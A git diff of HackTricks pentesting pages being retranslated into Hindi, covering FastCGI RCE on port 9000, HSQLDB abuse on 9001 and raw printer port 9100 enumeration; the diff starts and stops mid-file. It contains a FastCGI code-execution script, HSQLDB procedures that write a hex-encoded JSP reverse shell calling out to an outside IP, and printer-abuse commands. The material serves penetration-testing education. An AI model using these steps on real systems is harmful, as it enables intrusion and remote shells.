|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# मौलिक जानकारी
|
# Basic Information
|
||||||
|
|
||||||
अगर आप **सीखना चाहते हैं कि FastCGI क्या है** तो निम्नलिखित पेज देखें:
|
यदि आप **FastCGI क्या है** सीखना चाहते हैं तो निम्नलिखित पृष्ठ देखें:
|
||||||
|
|
||||||
{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %}
|
{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %}
|
||||||
[disable\_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
|
[disable\_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
डिफ़ॉल्ट रूप से **FastCGI** **पोर्ट** **9000** पर चलता है और nmap द्वारा मान्यता प्राप्त नहीं है। **सामान्यतः** FastCGI केवल **localhost** में सुनता है।
|
डिफ़ॉल्ट रूप से **FastCGI** **पोर्ट** **9000** पर चलता है और nmap द्वारा पहचाना नहीं जाता है। **आमतौर पर** FastCGI केवल **localhost** पर सुनता है।
|
||||||
|
|
||||||
# RCE
|
# RCE
|
||||||
|
|
||||||
FastCGI को विचारहीन कोड निष्पादित करना बहुत आसान है:
|
FastCGI को मनमाना कोड निष्पादित करने के लिए बनाना काफी आसान है:
|
||||||
```bash
|
```bash
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
|
@ -45,19 +46,20 @@ cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
|
||||||
cat $OUTPUT
|
cat $OUTPUT
|
||||||
done
|
done
|
||||||
```
|
```
|
||||||
or you can also use the following python script: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356)
|
या आप निम्नलिखित पायथन स्क्रिप्ट का भी उपयोग कर सकते हैं: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
Other ways to support HackTricks:
|
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
||||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,94 +1,96 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# मूल जानकारी
|
# Basic Information
|
||||||
|
|
||||||
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** एक लीडिंग SQL संबंधित डेटाबेस सिस्टम है जो जावा में लिखा गया है। यह एक छोटा, तेज, मल्टीथ्रेडेड और लेन-डिस्क तालिका और इन-मेमोरी और डिस्क-आधारित तालिकाओं के साथ एक डेटाबेस इंजन प्रदान करता है और एम्बेडेड और सर्वर मोड का समर्थन करता है।
|
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** एक प्रमुख SQL रिलेशनल डेटाबेस सिस्टम है जो Java में लिखा गया है। यह एक छोटा, तेज मल्टीथ्रेडेड और ट्रांजैक्शनल डेटाबेस इंजन प्रदान करता है जिसमें इन-मेमोरी और डिस्क-आधारित टेबल होते हैं और यह एम्बेडेड और सर्वर मोड का समर्थन करता है।
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट:** 9001
|
**डिफ़ॉल्ट पोर्ट:** 9001
|
||||||
```text
|
```text
|
||||||
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
|
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
|
||||||
```
|
```
|
||||||
# जानकारी
|
# Information
|
||||||
|
|
||||||
### डिफ़ॉल्ट सेटिंग्स
|
### Default Settings
|
||||||
|
|
||||||
ध्यान दें कि डिफ़ॉल्ट रूप से यह सेवा संभावित रूप से मेमोरी में चल रही होगी या लोकलहोस्ट से बाउंड होगी। यदि आपने इसे खोज लिया है, तो आप शायद दूसरी सेवा का शोषण कर चुके हैं और विशेषाधिकारों को बढ़ाने की कोशिश कर रहे हैं।
|
ध्यान दें कि डिफ़ॉल्ट रूप से यह सेवा संभवतः मेमोरी में चल रही है या लोकलहोस्ट से बंधी हुई है। यदि आपने इसे पाया है, तो आपने शायद किसी अन्य सेवा का शोषण किया है और विशेषाधिकार बढ़ाने की कोशिश कर रहे हैं।
|
||||||
|
|
||||||
डिफ़ॉल्ट क्रेडेंशियल्स आम तौर पर `sa` और एक खाली पासवर्ड होते हैं।
|
डिफ़ॉल्ट क्रेडेंशियल आमतौर पर `sa` होते हैं जिनका पासवर्ड खाली होता है।
|
||||||
|
|
||||||
यदि आपने किसी अन्य सेवा का शोषण किया है, तो संभावित क्रेडेंशियल्स की खोज करने के लिए खोजें।
|
यदि आपने किसी अन्य सेवा का शोषण किया है, तो संभावित क्रेडेंशियल्स के लिए खोजें।
|
||||||
```text
|
```text
|
||||||
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
|
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
|
||||||
```
|
```
|
||||||
निम्नलिखित डेटाबेस नाम को ध्यान से नोट करें - आपको इससे कनेक्ट करने की आवश्यकता होगी।
|
Note the database name carefully - you’ll need it to connect.
|
||||||
|
|
||||||
# सूचना एकत्र करना
|
# Info Gathering
|
||||||
|
|
||||||
[HSQLDB डाउनलोड करके](https://sourceforge.net/projects/hsqldb/files/) और `hsqldb/lib/hsqldb.jar` निकालकर DB इंस्टेंस से कनेक्ट करें। `java -jar hsqldb.jar` का उपयोग करके GUI ऐप चलाएं और खोजी गई/कमजोर प्रमाणपत्रों का उपयोग करके इंस्टेंस से कनेक्ट करें।
|
Connect to the DB instance by [downloading HSQLDB](https://sourceforge.net/projects/hsqldb/files/) and extracting `hsqldb/lib/hsqldb.jar`. Run the GUI app \(eww\) using `java -jar hsqldb.jar` and connect to the instance using the discovered/weak credentials.
|
||||||
|
|
||||||
ध्यान दें कि कनेक्शन URL दूरस्थ सिस्टम के लिए इस प्रकार दिखेगा: `jdbc:hsqldb:hsql://ip/DBNAME`।
|
Note the connection URL will look something like this for a remote system: `jdbc:hsqldb:hsql://ip/DBNAME`.
|
||||||
|
|
||||||
# ट्रिक्स
|
# Tricks
|
||||||
|
|
||||||
## जावा भाषा रूटीन
|
## Java Language Routines
|
||||||
|
|
||||||
हम HSQLDB का उपयोग करके जावा कक्षा के स्थायी विधियों को बुला सकते हैं। ध्यान दें कि बुलाई गई कक्षा को एप्लिकेशन के क्लासपैथ में होना चाहिए।
|
We can call static methods of a Java class from HSQLDB using Java Language Routines. Do note that the called class needs to be in the application’s classpath.
|
||||||
|
|
||||||
JRTs `कार्य` या `प्रक्रियाएँ` हो सकती हैं। यदि जावा विधि एक या एक से अधिक SQL-संगत मौलिक चरों को वापस करती है, तो कार्यों को SQL विधियों के माध्यम से बुलाया जा सकता है। इन्हें `VALUES` विधान का उपयोग करके बुलाया जाता है।
|
JRTs can be `functions` or `procedures`. Functions can be called via SQL statements if the Java method returns one or more SQL-compatible primitive variables. They are invoked using the `VALUES` statement.
|
||||||
|
|
||||||
यदि हमें बुलाना चाहिए जावा विधि वॉयड वापस करती है, तो हमें `CALL` विधान का उपयोग करके बुलाना होगा।
|
If the Java method we want to call returns void, we need to use a procedure invoked with the `CALL` statement.
|
||||||
|
|
||||||
## जावा सिस्टम गुणों को पढ़ना
|
## Reading Java System Properties
|
||||||
|
|
||||||
कार्य बनाएं:
|
Create function:
|
||||||
```text
|
```text
|
||||||
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
|
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
|
||||||
DETERMINISTIC NO SQL
|
DETERMINISTIC NO SQL
|
||||||
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
|
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
|
||||||
```
|
```
|
||||||
कार्य निष्पादित करें:
|
कार्यवाही फ़ंक्शन:
|
||||||
```text
|
```text
|
||||||
VALUES(getsystemproperty('user.name'))
|
VALUES(getsystemproperty('user.name'))
|
||||||
```
|
```
|
||||||
आप यहाँ [सिस्टम गुणों की सूची पा सकते हैं](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
|
आप [यहाँ सिस्टम प्रॉपर्टीज़ की सूची](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html) पा सकते हैं।
|
||||||
|
|
||||||
## फ़ाइल में सामग्री लिखें
|
## फ़ाइल में सामग्री लिखें
|
||||||
|
|
||||||
आप JDK में स्थित `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` जावा गैजेट का उपयोग कर सकते हैं \(जो एप्लिकेशन के क्लास पथ में स्वचालित रूप से लोड होता है\) ताकि आप एक कस्टम प्रक्रिया के माध्यम से डिस्क पर हेक्स-एन्कोडेड आइटम लिख सकें। **1024 बाइट का अधिकतम आकार ध्यान रखें**।
|
आप `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` जावा गैजेट का उपयोग कर सकते हैं जो JDK में स्थित है \(जो एप्लिकेशन के क्लास पाथ में ऑटो लोड होता है\) कस्टम प्रक्रिया के माध्यम से डिस्क पर हेक्स-कोडेड आइटम लिखने के लिए। **1024 बाइट्स का अधिकतम आकार नोट करें**।
|
||||||
|
|
||||||
प्रक्रिया बनाएं:
|
प्रक्रिया बनाएँ:
|
||||||
```text
|
```text
|
||||||
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
|
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
|
||||||
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
|
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
|
||||||
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
|
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
|
||||||
```
|
```
|
||||||
कार्य प्रारंभ करें:
|
प्रक्रिया निष्पादित करें:
|
||||||
```text
|
```text
|
||||||
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
|
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,30 +1,32 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks swag प्राप्त करें**](https://peass.creator-spring.com)
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
|
||||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** के [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# मूल जानकारी
|
# Basic Information
|
||||||
|
|
||||||
[यहाँ से](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing): रॉ प्रिंटिंग वह है जिसे हम नेटवर्क प्रिंटर के पोर्ट 9100/tcp से कनेक्शन बनाने की प्रक्रिया के रूप में परिभाषित करते हैं। यह CUPS और Windows प्रिंटिंग आर्किटेक्चर द्वारा नेटवर्क प्रिंटरों के साथ संचार करने के लिए डिफ़ॉल्ट विधि है क्योंकि इसे 'सबसे सरल, तेज़ और सामान्य रूप से प्रिंटरों के लिए उपयोग किया जाने वाला सबसे विश्वसनीय नेटवर्क प्रोटोकॉल' माना जाता है। रॉ पोर्ट 9100 प्रिंटिंग, जिसे जेटडायरेक्ट, एप्सॉकेट या पीडीएल-डेटास्ट्रीम के रूप में भी संदर्भित किया जाता है, **वास्तव में एक प्रिंटिंग प्रोटोकॉल नहीं है**। बजाय इसके **सभी डेटा को प्रिंटिंग उपकरण द्वारा सीधे प्रोसेस किया जाता है**, जैसे कि टीसीपी के माध्यम से पैरलल कनेक्शन। LPD, IPP और SMB के विपरीत, यह क्लाइंट को सीधे प्रतिक्रिया, स्थिति और त्रुटि संदेश सहित भेज सकता है। ऐसा एक **द्विदिशीय चैनल** हमें **PJL**, **PostScript** या **PCL** कमांड्स के **परिणामों** का **सीधा उपयोग** देता है। इसलिए रॉ पोर्ट 9100 प्रिंटिंग - जिसे लगभग किसी भी नेटवर्क प्रिंटर द्वारा समर्थित किया जाता है - PRET और PFT के साथ सुरक्षा विश्लेषण के लिए चैनल के रूप में उपयोग किया जाता है।
|
From [here](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing): कच्ची प्रिंटिंग को हम नेटवर्क प्रिंटर के पोर्ट 9100/tcp से कनेक्शन बनाने की प्रक्रिया के रूप में परिभाषित करते हैं। यह CUPS और Windows प्रिंटिंग आर्किटेक्चर द्वारा नेटवर्क प्रिंटर के साथ संवाद करने के लिए उपयोग की जाने वाली डिफ़ॉल्ट विधि है क्योंकि इसे ‘_प्रिंटर के लिए उपयोग किया जाने वाला सबसे सरल, तेज़ और सामान्यतः सबसे विश्वसनीय नेटवर्क प्रोटोकॉल_’ माना जाता है। कच्ची पोर्ट 9100 प्रिंटिंग, जिसे JetDirect, AppSocket या PDL-datastream भी कहा जाता है, वास्तव में **स्वयं में एक प्रिंटिंग प्रोटोकॉल नहीं है**। इसके बजाय **भेजा गया सभी डेटा सीधे प्रिंटिंग डिवाइस द्वारा संसाधित किया जाता है**, ठीक उसी तरह जैसे TCP पर एक समानांतर कनेक्शन। LPD, IPP और SMB की तुलना में, यह क्लाइंट को सीधे फीडबैक भेज सकता है, जिसमें स्थिति और त्रुटि संदेश शामिल हैं। ऐसा एक **द्विदिश चैनल** हमें **PJL**, **PostScript** या **PCL** कमांड के **परिणामों** तक सीधे **पहुँच** देता है। इसलिए कच्ची पोर्ट 9100 प्रिंटिंग - जिसे लगभग किसी भी नेटवर्क प्रिंटर द्वारा समर्थित किया जाता है - सुरक्षा विश्लेषण के लिए PRET और PFT के साथ चैनल के रूप में उपयोग की जाती है।
|
||||||
|
|
||||||
यदि आप [**प्रिंटर्स हैकिंग के बारे में अधिक जानना चाहते हैं तो इस पेज को पढ़ें**](http://hacking-printers.net/wiki/index.php/Main_Page)।
|
यदि आप [**प्रिंटर हैकिंग के बारे में अधिक जानना चाहते हैं तो इस पृष्ठ को पढ़ें**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट:** 9100
|
**Default port:** 9100
|
||||||
```
|
```
|
||||||
9100/tcp open jetdirect
|
9100/tcp open jetdirect
|
||||||
```
|
```
|
||||||
# जांच
|
# Enumeration
|
||||||
## मैन्युअल
|
|
||||||
|
## मैनुअल
|
||||||
```bash
|
```bash
|
||||||
nc -vn <IP> 9100
|
nc -vn <IP> 9100
|
||||||
@PJL INFO STATUS #CODE=40000 DISPLAY="Sleep" ONLINE=TRUE
|
@PJL INFO STATUS #CODE=40000 DISPLAY="Sleep" ONLINE=TRUE
|
||||||
|
@ -58,7 +60,7 @@ msf> use auxiliary/scanner/printer/printer_delete_file
|
||||||
```
|
```
|
||||||
## प्रिंटर्स हैकिंग टूल
|
## प्रिंटर्स हैकिंग टूल
|
||||||
|
|
||||||
यह उपकरण है जिसका उपयोग प्रिंटर को दुरुपयोग करने के लिए किया जाता है:
|
यह वह टूल है जिसका उपयोग आप प्रिंटर्स का दुरुपयोग करने के लिए करना चाहते हैं:
|
||||||
|
|
||||||
{% embed url="https://github.com/RUB-NDS/PRET" %}
|
{% embed url="https://github.com/RUB-NDS/PRET" %}
|
||||||
|
|
||||||
|
@ -67,16 +69,17 @@ msf> use auxiliary/scanner/printer/printer_delete_file
|
||||||
* `pjl port:9100`
|
* `pjl port:9100`
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>शून्य से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||||
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,32 +1,35 @@
|
||||||
# 9042/9160 - पेंटेस्टिंग कैसेंड्रा
|
# 9042/9160 - Pentesting Cassandra
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
